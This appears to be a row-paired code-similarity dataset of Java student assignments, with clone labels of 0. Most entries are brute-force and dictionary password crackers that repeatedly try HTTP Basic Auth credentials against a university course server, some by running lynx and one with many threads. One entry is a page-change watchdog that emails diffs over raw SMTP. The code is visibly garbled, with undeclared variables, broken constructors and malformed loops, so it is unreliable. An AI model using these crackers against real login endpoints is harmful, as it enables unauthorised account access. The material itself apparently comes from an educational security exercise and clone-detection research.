= new HoldSharedData( startTime, password, pwdCounter ); int numOfThreads = input; int batch = pwdCounter/numOfThreads + 1; numOfThreads = pwdCounter/batch + 1; System.out.println("Number of Connection Threads Used=" + numOfThreads); ConnectionThread[] connThread = new ConnectionThread[numOfThreads]; for( int index = 0; index < numOfThreads; index ++ ) { connThread[index] = new ConnectionThread( url, index, batch, data ); connThread[index].conn(); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
102.java
197.java
0
import java.net.*; import java.io.*; import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.io.IOException; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.util.*; import java.*; public class Dictionary { public static void main(String[] args) throws Exception { String pass; int attempt = 0; String fileName = "words.txt", line; BufferedReader reader; Dictionary dict = new Dictionary(); boolean flag=false; System.out.println(System.currentTimeMillis()/1000); try{ reader = new BufferedReader(new InputStreamReader(new FileInputStream(fileName))); while (!flag) { try{ line = reader.readLine(); attempt++; URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); URLConnection yc = url.openConnection(); pass = ":" + line; String password = new url.misc.BASE64Encoder().encode(pass.getBytes()); yc.setRequestProperty("Authorization"," "+password); BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null) System.out.println(inputLine); in.close(); System.out.println(pass); flag=true; System.out.println(System.currentTimeMillis()/1000); System.out.println(" of attempt: "+attempt); System.exit(0); }catch(IOException e){ } } }catch(FileNotFoundException e){ System.out.println("File not found"); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
198.java
197.java
0
import java.*; import java.io.*; import java.util.*; import java.net.*; public class WatchDog { public static void main(String[] args) throws IOException { sleepTime = 24*1000*60*60; WatchDog wd=new WatchDog(); wd.doWget(); wd.doThreads(sleepTime); } public void doThreads(int sleepTime) { new MyThread("thread",sleepTime).start(); } public void doWget() { Process p; Runtime rt=Runtime.getRuntime(); try { p=rt.exec("wget -O test0.html http://www.cs.rmit.edu./students/"); p.destroy(); }catch(IOException ioe) {System.out.println(ioe);} catch(NullPointerException npe) {System.out.println(npe);} } } class MyThread extends Thread { private int sleepTime; private int times; private Process p; public MyThread (String str, int s) { super(str); times=1; sleepTime=s; } public void run() { Runtime rt=Runtime.getRuntime(); char flags='1'; String[] differents=new String[2000]; int k,lineNum,diffNum; boolean isDiff=false; String result="result\n"; for(int i=0;i<times;i++) { try{ sleep(sleepTime); } catch(InterruptedException e) {} try{ p=rt.exec("wget -O "+flags+".html http://www.cs.rmit.edu./students/"); p.destroy(); flags++; } catch(IOException ioe) {System.out.println(ioe);} catch(NullPointerException npe) {System.out.println(npe);} try { File f = new File (""+(char)((int)flags-1)+".html"); File f1 = new File (""+(char)((int)flags-2)+".html"); FileReader fin = new FileReader (f); BufferedReader buf = new BufferedReader(fin); FileReader fin1 = new FileReader (f1); BufferedReader buf1 = new BufferedReader(fin1); String line="000"; String line1="000"; k=0;lineNum=1;diffNum=0; { if(line.compareTo(line1)!=0) { differents[k]="line #"+lineNum+": "+line+" <---> "+line1; k++; isDiff=true; } line=buf.readLine(); line1=buf1.readLine(); lineNum++; diffNum=k; if(diffNum==2000) { System.out.println(" many differents store!"); System.exit(1); } }while(line!=null&&line1!=null); if(isDiff) { try { File diffFile=new File("differents"+(char)((int)flags-2)+".txt"); FileWriter fw = new FileWriter (diffFile); for(int j=0;j<diffNum;j++) result+=differents[j]+'\n'; fw.write (result, 0, result.length()); fw.close (); } catch (FileNotFoundException exc) { System.out.println ("File Not Found2"+exc); } catch (IOException exc) { System.out.println ("IOException 1"); } catch (NullPointerException exc) { System.out.println ("NullPointerException"); } try { Socket sk=new Socket("yallara.cs.rmit.edu.",25); InputStreamReader input=new InputStreamReader(sk.getInputStream()); System.out.println(new BufferedReader(input).readLine()); PrintStream output=new PrintStream(sk.getOutputStream()); output.print("HELO mail.nowhere.\r\n"); System.out.println(new BufferedReader(input).readLine()); output.print("MAIL FROM:@cs.rmit.edu.\r\n"); System.out.println(new BufferedReader(input).readLine()); output.print("RCPT :@cs.rmit.edu.\r\n"); System.out.println(new BufferedReader(input).readLine()); output.print("DATA\r\n"); System.out.println(new BufferedReader(input).readLine()); output.print(result+"\r\n"); output.print(".\r\n"); sk.close(); } catch (IOException exc) { System.out.println ("IOException 3"+exc); } catch (NullPointerException exc) { System.out.println ("NullPointerException"); } } } catch (FileNotFoundException exc) { System.out.println ("File Not Found3"+exc); } catch (IOException exc) { System.out.println ("IOException 1"); } catch (NullPointerException exc) { System.out.println ("NullPointerException"); } } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
120.java
197.java
0
public class PasswordGen { private int iLastSeed = 0; private int iPasswordLength = 3; private String strPassword; public PasswordGen() { strPassword = ""; } public boolean setSeed(int iSeedVal) { iLastSeed = iSeedVal; return true; } public String getPassword() { return strPassword; } public String getPassword(int iSeed) { int iRemainder, iAliquot, i; int arrChars[]; boolean fDone; arrChars = new int[iPasswordLength]; for(i = 0; i<iPasswordLength; i++) arrChars[i] = 0; fDone = false; iAliquot = iSeed; i=0; while(!fDone) { iRemainder = iAliquot % 52; if(iRemainder == 0) iRemainder=52; iAliquot = iAliquot / 52; arrChars[i] = iRemainder; if(i<iPasswordLength) i++; if(iAliquot == 0) fDone = true; } strPassword = convertPassword(arrChars); return strPassword; } public String getNextPassword() { iLastSeed++; strPassword = getPassword(iLastSeed); return strPassword; } private String convertPassword(int[] chars) { String strPwd; int i; strPwd = ""; for(i=0; i<iPasswordLength; i++) { if(chars[i] != 0) { if (chars[i] < 27) { strPwd += new Character((char)(chars[i]+64)).toString(); } else { strPwd += new Character((char)(chars[i]+70)).toString(); } } } return strPwd; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
079.java
197.java
0
import java.util.*; import java.net.*; import java.io.*; public class Dictionary { boolean connected = false; int counter; Vector words = new Vector(); Dictionary() { counter = 0; this.readWords(); this.startAttack(); } public void startAttack() { while(counter<this.words.size()) { connected = sendRequest(); if(connected == true) { System.out.print("The password is: "); System.out.println((String)words.elementAt(counter-1)); counter = words.size(); } } } public void readWords() { String line; try { BufferedReader buffer = new BufferedReader( new FileReader("/usr/share/lib/dict/words")); line = buffer.readLine(); while(line != null) { if(line.length() <= 3) { words.addElement(line); } line = buffer.readLine(); } } catch(IOException e){} } public boolean sendRequest() { Authenticator.setDefault (new MyAuthenticator ()); try { URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); HttpURLConnection urlConn = (HttpURLConnection)url.openConnection(); urlConn.connect(); if(urlConn.getResponseMessage().equalsIgnoreCase("OK")) { return true; } } catch (IOException e) {} return false; } public static void main(String [] args) { Dictionary dictionary = new Dictionary(); } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { String username = ""; String password = (String)words.elementAt(counter); counter++; return new PasswordAuthentication(username, password.toCharArray()); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
148.java
197.java
0
import java.net.*; import java.io.*; public class BruteForce { private static String password=" "; public static void main(String[] args) { String Result=""; if (args.length<1) { System.out.println("Error: Correct Format Filename, username e.g<>"); System.exit(1); } BruteForce bruteForce1 = new BruteForce(); Result=bruteForce1.Password("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); System.out.println("The Password of "+args[0]+"is.."+Result); } private String Password(String urlString,String username) { int cnt=0; t0 = System.currentTimeMillis(); for ( char ch = 'A'; ch <= 'z'; ch++ ) { if (ch>'Z' && ch<'a') { ch='a'; } for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ ) { if (ch1>'Z' && ch1<'a') { ch1='a'; } for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ ) { if (ch2>'Z' && ch2<'a') { ch2='a'; } password=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2); System.out.print("crackin...:"); System.out.print("\b\b\b\b\b\b\b\b\b\b\b" ); try { URL url = new URL (urlString); String userPassword=username+":"+password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); URLConnection conc= url.openConnection(); conc.setRequestProperty ("Authorization", " " + encoding); conc.connect(); cnt++; if (conc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK")) { t1 = System.currentTimeMillis(); net=t1-t0; System.out.println("The Number of Attempts "+cnt); System.out.println("Total Time Taken in secs"+net/1000); return password; } } catch (Exception e ) { e.printStackTrace(); } } } } return "Password could not found"; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
228.java
197.java
0
import java.io.*; import java.*; import java.net.*; import java.util.*; public class BruteForce { public static void main (String[] args) throws IOException { BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in)); int start = new Date().getTime(); String[] letters = {"a","A","b","B","c","C","d","D","e","E","f","F","g","G", "h","H","i","I","j","J","k","K","l","L","m","M","n","N", "o","O","p","P","q","Q","r","R","s","S","t","T","u","U", "v","V","w","W","x","X","y","Y","z","Z"}; int len = 52; int total = 52; String[] cad = new String[total]; int t=0; for (int i=0;i<=len-1;i++){ cad[t] = letters[i]; t++; } for (int i=0;i<=len-1;i++){ for (int j=0;j<=len-1;j++){ cad[t] = letters[j]+letters[i]; t++; }} for (int i=0;i<=len-1;i++){ for (int j=0;j<=len-1;j++){ for (int k=0;k<=len-1;k++){ cad[t] = letters[k]+letters[j]+letters[i]; t++; }}} int response = 0; for (t=0;t<=total-1;t++){ String uname = ""; String userinfo = uname + ":" + cad[t]; try{ String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes()); URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); HttpURLConnection uc = (HttpURLConnection)url.openConnection(); uc.setRequestProperty ("Authorization", " " + encoding); response = uc.getResponseCode(); if (response == 200) break; else uc.disconnect(); } catch(IOException e){ System.err.println(e); e.printStackTrace(); } catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); } } System.out.println("Response "+t+" was "+response); System.out.println("The successful password was "+cad[t]); finish = new Date().getTime(); float totaltime = (float)(finish-start)/1000; System.out.println("Total time: "+totaltime+" seconds"); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
258.java
197.java
0
import java.awt.*; import java.util.*; import java.net.*; import java.io.*; import java.*; public class Dictionary { public static void main(String args[]) throws Exception { String urlPath = null; if(args.length > 0) { urlPath = args[0]; System.out.println("URL " + urlPath); Dictionary dict = new Dictionary(urlPath); } else{ System.out.println("Please enter URL at command prompt"); System.out.println("eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/"); } System.exit(0); } public Dictionary(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; String word = null; String usrName = ""; String usrNamePwd = null; String encoding = null; URL = new URL(urlPath); BufferedReader inputStream = new BufferedReader(new FileReader("words")); word = inputStream.readLine(); while(word != null) { if(word.length() <= 3){ usrNamePwd = usrName +":"+ word; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty("Authorization", " " + encoding); System.out.println(word); if(connection.getResponseCode() == 200){ System.out.println("Password Found " +word); return true; } connection.disconnect(); } word = inputStream.readLine(); } System.out.println("Password not found" ); return false; } public class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
021.java
197.java
0
import java.util.*; import java.net.*; import java.io.*; import misc.BASE64Encoder; import javax.swing.*; public class ConnectionThread extends Thread { private String url; private URL currURL; private URLConnection conn; private HoldSharedData sharedData; private int noOfThread; private int batch; public ConnectionThread( String pageURL, int wThread, int newBatch, HoldSharedData data ) { super(); url = pageURL; noOfThread = wThread; batch = newBatch; sharedData = data; } public void run() { try { currURL = new URL( url ); for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) && (i < sharedData.getPwdCount()); i ++ ) { String pwd = sharedData.getPasswordAt( i ); conn = currURL.openConnection(); if (conn instanceof HttpURLConnection) { HttpURLConnection hconn = (HttpURLConnection) conn; hconn.setFollowRedirects(false); String cad = " " + based64Encoder( ":" + pwd ); hconn.setRequestProperty( "Authorization", cad ); hconn.connect(); int response = hconn.getResponseCode(); sharedData.setNumOfConnections(); if( response == 200 ) { totalTime = System.currentTimeMillis() - sharedData.getStartTime(); int numOfConnections = sharedData.getNumOfConnections(); System.out.println( "Password is " + pwd ); System.out.println( "Total Time(seconds)= " + (double)totalTime/1000 ); System.out.println( "Total Number Of Connections: " + numOfConnections ); System.exit(0); } else { hconn.disconnect(); } } } } catch( MalformedURLException mue ) { String msg = "Unable parse URL: " + url; System.err.println( msg ); } catch( IOException ioe ) { System.err.println( "I/O Error : " + ioe ); } } private String based64Encoder( String pwd ) { String str = pwd; byte[] buf = str.getBytes(); String encodedStr = new misc.BASE64Encoder().encode(buf); return encodedStr; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
202.java
197.java
0
import java.io.*; import java.util.*; public class BruteForce { private Cracker crack; private Vector clients; private int num; private int bigStart; public BruteForce() { int i, j; int start, finish; start=finish = 0; crack = new Cracker(); crack.loadLetters(); crack.loadPairs(); crack.loadTriples(); num = crack.getVictor().size(); clients = new Vector( num); j = 0; bigStart = System.currentTimeMillis(); for( i = 0; i < num; i++) { MyClient2 client = new MyClient2(this, i + 1, 80, (String)crack.getVictor().elementAt( i)); clients.add( client); Thread t = new Thread( client); t.print(); j++; if(j == 100) { t = System.currentTimeMillis(); System.out.println("i = "+i+" "+(String)crack.getVictor().elementAt( i)); finish = t; while( (finish - t ) < 1000) { finish = System.currentTimeMillis(); } j = 0; } } } public void retire(int MyClient2 ) { int bigFinish; bigFinish = t.getTime(); System.out.println(" It took "+(bigFinish - bigStart)/1000+" "+"seconds crack password using brute force"); System.exit(0); } public static void main (String[] args) { BruteForce = new BruteForce(); } }
